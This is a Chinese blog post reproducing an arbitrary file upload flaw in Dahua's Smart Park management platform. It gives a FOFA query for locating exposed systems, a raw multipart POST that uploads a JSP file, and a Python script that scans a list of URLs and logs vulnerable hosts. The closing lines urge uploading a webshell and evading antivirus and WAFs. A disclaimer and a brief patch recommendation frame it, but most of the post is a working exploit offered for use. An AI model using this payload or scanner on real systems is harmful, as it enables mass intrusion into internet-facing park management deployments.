【漏洞复现】大华智慧园区前台任意文件上传

 

目录

一、漏洞简介

二、 漏洞概述

 三、复现环境

四、 漏洞复现 

1、寻找大华

2、验证是否存在漏洞

3、payload使用 

4、漏洞验证 

 五、 修复建议

六、批量检测 

1、如何使用


声明
本文仅用于技术交流,请勿用于非法用途
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

一、漏洞简介

          大华智慧园区综合管理平台”是一款综合管理平台,具备园区运营、资源调配和智能服务等功能。平台意在协助优化园区资源分配,满足多元化的管理需求,同时通过提供智能服务,增强使用体验。

二、 漏洞概述

        大华智慧园区设备开放了文件上传功能,但未在上传的文件类型、大小、格式、路径等方面进行严格的限制和过滤,导致攻击者可以通过构造恶意文件并上传到设备上,然后利用该漏洞获取权限并执行任意命令。

 

 

 三、复现环境

fofa语句:

app="dahua-智慧园区综合管理平台"

 

四、 漏洞复现 

1、寻找大华

选择大华链接
 

进入登陆界面如下:

 

2、验证是否存在漏洞

     在IP地址后加上/emap/devicePoint_addImgIco?hasSubsystem=true,出现如图证明存在漏洞

 

3、payload使用 

   打开burp,把payload复制进去,把地址改成自己要测试的地址和端口

payload如下:

POST /emap/devicePoint_addImgIco?hasSubsystem=true HTTP/1.1
Host: your-ip:port
Content-Type: multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Content-Length: 225

--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT
Content-Disposition: form-data; name="upload"; filename="a.jsp"
Content-Type: application/octet-stream
Content-Transfer-Encoding: binary

test123
--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT--

然后重发一下,就会得到上传的jsp一句话名称,如图:

 

 

4、漏洞验证 

验证url,看看是否被解析

http://your-ip:port/upload/emap/society_new/回显的jsp文件名icon-default.png?t=N7T8http://your-ip:port/upload/emap/society_new/回显的jsp文件名

 

 五、 修复建议

      建议使用相关系统的用户在尽快打补丁的同时,做好访问来源的限制,尽量避免大华智慧园区综合管理平台暴露在公网或不安全的网络环境中。

六、批量检测 

批量检测代码poc如下:

import argparse  
import time  
import requests  
  
def get_url(file):  
    with open(file, 'r', encoding='utf-8') as f:  
        for i in f:  
            i = i.replace('\n', '')  
            send_req(i)  
  
def write_result(content):  
    with open("result.txt", "a", encoding="UTF-8") as f:  
        f.write('{}\n'.format(content))  
  
def send_req(url_check):  
    print('{} running Check'.format(url_check))  
    url = url_check + '/emap/devicePoint_addImgIco?hasSubsystem=true'  
    header = {  
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.69',  
        'Content-Type': 'multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT',  
        'Accept': 'text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2',  
        'Connection': 'close'  
    }  
    data = (  
        "--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT\r\n"  
        'Content-Disposition: form-data; name="upload"; filename="1ndex.jsp"\r\n'  
        "Content-Type: application/octet-stream\r\n"  
        "Content-Transfer-Encoding: binary\r\n"  
        "\r\n"  
        "123\r\n"  
        "--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT--"  
    )  
    try:  
        requests.packages.urllib3.disable_warnings()  
        response = requests.post(url=url, headers=header, data=data, verify=False, timeout=3).json()  
        if response['code'] == 1:  
            result = '{} 存在任意文件上传漏洞! 请访问目标自测:{} \n'.format(url_check, url_check + "/upload/emap/society_new/" + response['data'])  
            print(result)  
            write_result(result)  
        time.sleep(1)  
    except Exception as e:  
        print(e)  
        pass  
  
if __name__ == '__main__':  
    parser = argparse.ArgumentParser(description='大华智慧园区综合管理平台任意文件上传 批量PoC')  
    parser.add_argument('-f', help='批量检测文件名', type=str)  
    args = parser.parse_args()  
    if args.f is None:  
        print('请在当前目录下新建需要检测的url.txt')  
    else:  
        get_url(args.f)

1、如何使用

1、在目录下面新建个python文件,创建个url.txt文件夹,把需要检测漏洞的地址放在url里面。

 

 

 

2、运行 poc.py文件,命令如下:

python poc.py -f url.txt

 

 

如果存在漏洞就会在文件夹里面生成一个新的result.txt文件

上传shell,一句话木马连接

大家记得做好免杀,可能会有waf,不对,尽量不要做违法的行为。

 

  • 25
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
大华智慧园区综合管理平台(RCE)是一种基于大数据和人工智能技术的智慧园区管理解决方案。该平台集成了多个子系统,包括智能安防、能源管理、楼宇自动化、智慧交通等,旨在提供全面的园区管理和优化,促进园区的可持续发展。 RCE平台通过监测和收集园区各个系统的数据,实现了全面的实时监控和管理。例如,通过智能安防子系统,可以对园区内的视频监控和入侵报警进行集中管理和分析,及时发现和应对安全事件。能源管理子系统可以帮助园区实现能源使用的监测和调控,提高能源利用效率,减少能源浪费。楼宇自动化子系统可以实现对园区内各个建筑物的智能控制和设备管理,提高建筑物的舒适度和能源效率。智慧交通子系统则可以优化园区的交通流动性,减少交通堵塞和碰撞事故。 RCE平台还具有数据分析和预测功能,利用大数据和人工智能技术,对园区内各个子系统的数据进行分析和挖掘,提供决策支持和优化方案。例如,可以通过数据分析预测出园区能源的高峰和低谷,从而合理调控能源供应。还可以通过交通数据分析,优化园区的道路规划和交通流量,提高交通效率和安全性。 综上所述,大华智慧园区综合管理平台(RCE)通过集成不同子系统和应用,实现了园区的全面管理和优化,提高了园区的安全性、舒适度和效率。它是未来智慧城市建设的重要组成部分,也是推动城市可持续发展的重要工具。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值